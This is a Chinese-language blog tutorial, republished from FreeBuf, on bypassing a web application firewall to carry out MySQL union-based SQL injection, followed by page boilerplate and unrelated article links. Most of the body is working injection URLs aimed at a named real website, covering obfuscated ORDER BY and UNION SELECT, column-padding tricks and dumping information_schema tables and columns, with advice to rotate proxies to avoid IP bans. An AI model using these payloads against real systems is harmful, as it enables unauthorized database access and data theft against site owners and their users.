MySQL绕过WAF实战技巧

一、前言

本人喜欢遇到好的东西,乐于分享,关注freebuf有段时间了,写过两篇文章,每次写写文章,不仅仅是为了挣点稿费。而是通过此平台能够认识一些安全圈的小伙伴,互相学习,共同进步。在安全行业也有些曲折,发过工控协议fuzzing的入门教程,也发过无线安全的渗透测试脚本。这次发个web的吧。仅供学习,本人也是小菜。大牛直接飞过吧。

二、综述

最近在研究web安全,感觉不掌握点绕过技巧,没法混,在看了几天的关于sql注入绕过的方式后,大都是宏观的讲解有哪些绕过方式。简单的总结了下:

1、注释方式绕过 2、编码方式绕过 3、大小写方式绕过 4、缓冲区溢出导致拒绝服务从而绕过(fuzz技术)

这是目前几天所看到的,有好的思路的小伙伴,可以随时交流。之前建了一个无线电安全研究的群:163309269。欢迎不限于研究无线电、物联网安全的大牛加入。

这次主要是看到国外大牛对mysql注入测试的一些思路,然后自己整理下,分享下。对于只看宏观文章,没有实战的演练,无疑是很好的案例。

三、具体实现

本次测试是以如下站点为例:http://www.ecgi.org/wp/wp_id.php?id=123

1、首先加入单引号http://www.ecgi.org/wp/wp_id.php?id=123’,出现下面提示:owner has denied your access to the site.然后尝试bypass。

2、然后在输入如下测试链接:http://www.ecgi.org/wp_id.php?id=123’ oRder By 100— - 会再次阻塞我们的 IP地址,拒绝我们访问。

3、尝试Group By,测试链接为:http://www.ecgi.org/wp/wp_id.php?id=213 ’ Group By 100 — - 出现Unknown column ‘100’ in ‘group statemeat’。这里代表Group By可以工作,waf不能阻塞。

然后用如下测试:这里代表是25列。

4、下面测试如何Bypass Order By。通过手工测试发现只要Order和By连在一起就会被waf阻塞。通过测试payload 为:http://www.ecgi.org/wp/wp_id.php?id=213 ’ Order%A0By 100 出现报错,说明waf没有过滤,已经可以bypass。

这里还有一种方式:payload为:http://www.ecgi.org/wp/wp_id.php?id=213’ /_//!50000Order/ By 100 — -

依然可以报错,说明也可以bypass waf。

5、接下来进行联合查询,使用union select。使用手工测试下:http://www.ecgi.org/wp/wp_id?id=123’ UnIoN SeLeCt 发现被waf拦截。下面再次尝试bypass。

首先手工判断下过滤字段是什么,经过测试发现只要UnIoN和SeLeCT连在一起,就会别waf拦截。那么开始写paylaod来绕过吧。

payload为:http://www.ecgi.org/wp/wp_id.php?id=213’/_/UnIoN(/!50000SeLeCt/ 1,2 — - (温馨提示,有些waf可能会在攻击者较多测试过程中会封锁IP,建议使用代理不断更新自己的IP地址)。这里报错,说明已经bypass了。

上面知道了column是25,那么我们可以构造payload为:

http://wwww.ecgi.org/wp/wp_id.php?id=-213’ /_/UnIoN(/!50000SeLeCt/1,2,3,4444444444444,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25)— - 来进行测试:发现在Title中爆出我们填写的数据。

在UnIoN和SeLeCt直接过滤情况下,还可以尝试另一种方式来进行测试,从而绕过waf。

http://www.ecgi.org/wp/wp_id.php?id=213’ UnIoN%A0SeLeCT 1,2 — -

这里会报错,说明可以bypass。

但是在联合查询的时候,查询填充的列分割较多时,就会别waf拦截。如下payload为:

http://www.ecgi.org/wp/wp_id.php?id=213’ UnIoN%A0SeLeCT 1,2,3,4,5,6 — -

这里存在几种绕过方式:

(1)使用Join查询

payload构造为:

 http://wwww.ecgi.org/wp/wp_id.php?id=-213’  UnIoN%A0SeLeCT*FrOm(SeLeCt 1)a JOIN (SeLeCt 2)b JOIN (SeLeCt 3)c JOIN (SeLeCt 4)d JOIN (SeLeCt 5)e JOIN (SeLeCt 6)f JOIN (SeLeCt 7)g JOIN (SeLeCt 8)h JOIN (SeLeCt 9)i JOIN (SeLeCt 10)j JOIN (SeLeCt 11)k JOIN (SeLeCt 12)l JOIN (SeLeCt 13)m JOIN (SeLeCt 14)n JOIN (SeLeCt 15)o JOIN (SeLeCt 16)p JOIN (SeLeCt 17)q JOIN (SeLeCt 18)r JOIN (SeLeCt 19)s JOIN (SeLeCt 20)t JOIN (SeLeCt 21)w JOIN (SeLeCt 22)x JOIN (SeLeCt 23)y JOIN (SeLeCt 24)z JOIN (SeLeCt 25)2a-- -

如下图所示,bypass成功!

(2)使用字符(~)

payload构造为:

 http://www.ecgi.org/wp/wp_id.php?id=-213’ UnIoN%A0SeLeCT 1,2,3,4,5,~6-- -

这里依然被waf拦截。

然后在5前面加入~,payload为:

http://www.ecgi.org/wp/wp_id.php?id=-213’ UnIoN%A0SeLeCT 1,2,3,4,~5,~6-- -

如图所示,bypass成功!

(3)使用小数点(.)

payload构造为:

http://www.ecgi.org/wp/wp_id.php?id=-213’ UnIoN%A0SeLeCT 1,2,3,4,.5,.6-- -

如图所示,bypass成功!

(4)使用单引号(‘’)

payload构造为:

http://www.ecgi.org/wp/wp_id.php?id=-213’ UnIoN%A0SeLeCT 1,2,3,4,’5’,’6’-- -

如图所示,bypass成功!

(5)使用双引号(“”)

payload构造为:

http://www.ecgi.org/wp/wp_id?id=-213’ UnIoN%A0SeLeCT 1,2,3,4,”5”,”6”-- -

如图所示,bypass成功!

(6)使用字符(*9e0)

payload构造为:

http://www.ecgi.org/wp/wp_id.php?=213’*9e0UnIoN

SeLeCT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25— -

如图所示,bypass成功!

6、上面基本绕过之后,开始尝试爆数据。

首先我们爆一下information_schema的table_name.

构造payload为:

http://www.ecgi.org/wp/wp_id.php?id=213’*9e0UnIoN

SeLeCT 1,2,3,ConCat(table_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 FrOm Information_schema— -

这里被waf拦截。

好吧,继续bypass操作。。。

首先通过手工尝试,看看过滤什么字段,通过测试过滤了FrOm。我们这里可以选择上面的一些绕过方式,比如

%A0或者/!50000/都没有成功。

下面来讲一下通过其他两种方式来进行bypass测试。

(1)在FrOm前加e0 来bypass

构造payload:

http://www.ecgi.org/wp/wp_id.php?id=213’*9e0UnIoN

SeleCT 1,2,3,ConCat(table_name)5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25e0FrOm Information_schema— -

如图所示,发现报错,说明bypass成功!

然后在构造完整的查询。Information_schema.Tables。如图所示:oh shit….依然被waf拦截。

接着分析绕过吧,通过手工测试,waf过滤的是小数点(.)。那么构造payload吧:

http://www.ecgi.org/wp/wp_id.php?od=213’*9e0UnIoN

SeLeCT 1,2,3,ConCat(tablename),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25e0FrOm Information_schema./****/Tables— -

如图所示,bypass成功!

(2)加小数点来bypass

payload为:

http://www.ecgi.org/wp/wp_id.php?id=213’*9e0UnIoN

SeLeCT 1,2,3,ConCat(tablename),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,.25FrOm Information_schema./****/Tables— -

如图所示,bypass成功!

7、下面来让我们打印出information_schema数据库的所有的表和列吧。

测试payload的为:

http://www.ecgi.org/wp/wp_id.php?id=213’*9e0UnIoN SeLeCT 1,2,3,Group_ConCat(0x3c6c693e,table_name,0x3a3a3a3a3a,column_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,.25FrOm Information_schema./**_**/columns-- -

如图所示:

8、接着来打印primary DATABASE。好吧,这里被过滤了where。

http://www.ecgi.org/wp/wp_id.php?id=213’*9e0UnIoN SeLeCT 1,2,3,Group_ConCat(0x3c6c693e,table_name,0x3a3a3a3a3a,column_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,.25FrOm Information_schema./**_**/columns Where-- -

下面尝试绕过,废话不多数,绕过方式使用/!50000/。如图所示:

9、我们想查询出插入的一句话,这里以大牛为例:INSET BY SAJIB。

把这段字符转换为hex,好吧,这里被waf拦截了,说明过滤了Hex Convert Number。如图所示:

那么我们可以尝试把字符改为二进制(text to binary Convert)来绕过。可以bypass。(需要注意的是二进制前面一定要加0b)

四、总结

绕过方千变万化,思路+知识积累是不可或缺的。希望这篇文章对学习bypass的小伙伴有用。本人也在学习和搜集关于oracle的一些绕过waf技巧,有感兴趣的可以互相学习,探讨。

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2017-12-04

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏简书专栏

mysql必知必会

数据库是按照数据结构来组织、存储和管理数据的仓库,它产生于距今。 六十多年前,随着信息技术和市场的发展,特别是二十世纪九十年代以后,数据管理不再仅仅是存储和管...

1211
来自专栏Java帮帮-微信公众号-技术文章全总结

Oracle应用开发实战一

Oracle介绍 ORACLE数据库系统是美国ORACLE公司(甲骨文)提供的以分布式 数据库为核心的一组软件产品,是目前最流行的客户/服务器(CLIENT/S...

2916
来自专栏更流畅、简洁的软件开发方式

用node.js实现ORM的一种思路

  ORM是O和R的映射。O代表面向对象,R代表关系型数据库。二者有相似之处同时也各有特色。就是因为这种即是又非的情况,才需要做映射的。   理想情况是,根据关...

2489
来自专栏腾讯云Elasticsearch Service

Elasitcsearch 底层系列 Lucene 内核解析之Lucene概览

       Luene是一款高性能、可扩展的信息检索库,用于完成文档元信息、文档内容等搜索功能。用户可以使用Lucene 或 基于Lucene的成熟产品Nut...

2161
来自专栏数据和云

SQL查询提速秘诀,避免锁死数据库的数据库代码

由于数据库领域仍相对不成熟,每个平台上的 SQL 开发人员都在苦苦挣扎,一次又一次犯同样的错误。当然,数据库厂商在取得一些进展,并继续在竭力处理较重大的问题。

1583
来自专栏架构专栏

2018最新淘宝面试出炉:分布式锁+集群+一致Hash算法+底层技术原理

1.Java基础还是需要掌握牢固,重点会问HashMap等集合类,以及多线程、线程池等。

3601
来自专栏Albert陈凯

Hbase二级索引

二级索引与索引Join是多数业务系统要求存储引擎提供的基本特性,RDBMS早已支持,NOSQL阵营也在摸索着符合自身特点的最佳解决方案。这篇文章会以Hbase做...

5224
来自专栏数据和云

分而治之:从多列到自动Oracle 12.2 分区新特性抢先一览

何剑敏 Oracle ACS华南区售后团队,首席技术工程师 曾供职于中国联通信息计费部、卓望数码、IBM。现供职于Oracle ACS华南区售后团队,首席技术...

2583
来自专栏Elasticsearch实验室

Elasitcsearch 底层系列 Lucene 内核解析之Lucene概览

       Luene是一款高性能、可扩展的信息检索库,用于完成文档元信息、文档内容等搜索功能。用户可以使用Lucene 或 基于Lucene的成熟产品Nut...

2508
来自专栏DeveWork

制作WordPress侧边栏“热门文章”小工具并集成在主题中的方法

制作“热门文章”小工具的思路与文章《制作WordPress侧边栏“随机文章”小工具并集成在主题中的方法》提供的一致,如果你没看过这篇文章,不妨看看先。“热门文章...

21510

扫码关注云+社区

领取腾讯云代金券